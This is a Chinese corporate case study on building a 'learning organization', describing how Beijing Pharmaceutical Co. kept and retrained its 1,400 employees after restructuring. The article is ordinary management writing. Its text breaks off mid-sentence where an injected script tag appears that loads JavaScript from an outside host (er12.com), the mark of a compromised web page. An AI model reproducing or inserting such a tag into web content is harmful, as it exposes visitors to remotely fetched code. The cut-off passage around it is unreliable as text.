创建学习型组织 打造企业核心竞争力

二十一世纪,人类社会进入了知识经济时代,市场竞争的焦点不仅是资金、技术等传统资源,而是表现在人力资本基础之上的创新能力竞争、知识的竞争。说到底,是人才的竞争。为此,根据市场的竞争的需要,不断的提高企业员工队伍的综合素质,不断提高员工的知识技能和能力,就尤为显得重要。“企业核心竞争力”的打造,应该立足于建立学习型团队组织上,这是最长久和最实际的方法。
北京医药股份公司的成功改制和发展,正式说明了这一点。一个50多年的老国企,改制后确立建立学习型组织的发展战略,采用了一系列有效的方法,在短短的五年中,员工综合素质得到全面提高,企业经营规模达到40亿元,是五年前的3.5倍,已经发展成为北京市最大的医药流通企业,列入北京100强企业前茅,成为全国同行中明星企业。
我们的做法是:从体制上入手,确立建立学习型组织发展战略;从机制上着眼,建立学习型组织的保障体系;从方法上落实:围绕一个中心,坚持两项原则,打造三套体系,采取四种方法。
一.从体制改革入手,确立学习型组织的发展战略。北京医药股份有限公司是国有控股企业,主要从事医药产品和医疗器械产品的批发供应工作,拥有供需客户7000多家,经营品种达20000多个,销售网络遍及全国各地,年经营规模40亿元左右,是北京市最大的医药流通企业。这个企业的前身是多个国有企业,2000年末进行改制重组的,总资产达11亿元。在企业整合初期,在册员工多达1400多名,而且全部是国有员工身份。当时,这个企业和许多老国企一样,员工文化素质普遍偏低、年龄偏大,班子成员大多属于后学历。在过去旧体制的束缚下,广大员工学习再造的机会几乎没有,更很少提及岗位技能的培训。致使企业员工精神面貌不佳,企业在市场竞争中屡屡受挫。改革开放以后,人们开始重视知识,视人才为企业财富,但是人们的眼睛又往往盯在一些学历较高的年轻人身上。因为,这部分人员文化基础好,接受能力快,而这部分人员又大多集中在合资企业或外资企业之中,很多企业家把这部分人员视为优质生产力,而把国企的员工视为包袱。但北京医药股份公司的领导班子,却有不同的认识,他们认为这部分员工的文化素质是由于历史原因造成的,是社会使他们错过了读书深造的机会,不是他们的错。何况这部分员工已经构成社会的一个层面,如果放弃他们,实际是一种社会资源的浪费,因为他们曾有着丰富的实际工作经验,有着很强的责任心,是旧的体制束缚了他们的提升。为此,公司不愿放弃这部分可提高和再造的人力资源,不愿在计划经济向市场经济转轨的过程中,再让这些员工承受改制的代价。北药股份公司借助企业改制之机,确立了建立学习型团队组织的目标,在不让一个员工下岗的前提下,北药股份在内部开展了“全员素质再造工程”,从提高员工综合素质入手,培育企业核心竞争力。从育人入手,用现代的科学理念塑造员工,用先进的信息化手段培训员工,用科学岗位技能提高员工,从而提升开发了企业人力生产力,促进了企业快速的发展。从中感悟到,人,是生产力中最活跃的因素,是取之不尽、用之不竭的力量源泉。
在公司改制后,当时在岗的1400名员工全部留下,没有让一个员工下岗,并同时在企业内部开展了“全员素质再造工程”。即:对给每个员工三次培训、两次上岗的机会。培训内容从多方面入手,包括企业未来发展前景、国外同行的先进管理模式以及必要的文明礼仪,从员工思想观念上,解决为客户服务的意识。同时,在学习借鉴国内外同行先进经验的过程中,找到自己在思想观念、业务技能和市场竞争意识上的差距,激发员工内心的责任感,提高员工的紧迫感,鼓舞员工树立自信。给员工学习提高的机会和平台,在提高中建立自信,找到自我、超越自我。全体员工业务技能和竞争意识提高之日,就是企业快速发展之时。北药股份公司的发展事实,充分证明了这一点。改制后公司市场规模快速发展,将业务从本市发展到全国各地,建立了有序的销售网络;经营业绩连续五年持续增长,平均每年增幅20%以上;员工收入和企业效益同步增长,股东连续三年分红,员工连续五年上调工资。然而,企业的员工还是过去的员工,企业的业务范围还是原来的范围,但是,公司却发生了如此之大的变化。这就是体制改革推动了员工素质的提高,人的素质变化,带来了企业的变化。
二.从管理机制上着眼,建立学习型组织的保障体系
新的体制建立之后,必须建立与之配套的运行机制。全员素质再造工程必须建立长效保障机制。公司改制后,1400名员工是留下了,但是把大家培养成高素质的员工队伍,也是有非常大的困难的。由于过去长时间的粗放型的管理,使得一些员工从思想上产生懒惰情绪,厌烦学习;甚至有的员工参加培训只为了应付上岗的需要,而不是心甘情愿地愿意提高,有混饭吃的思想;更有一些年龄较大的员工,畏惧信息化培训,产生自暴自弃的念头;一些曾有过上山下乡经历的员工,只是把全部未来希望寄托?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态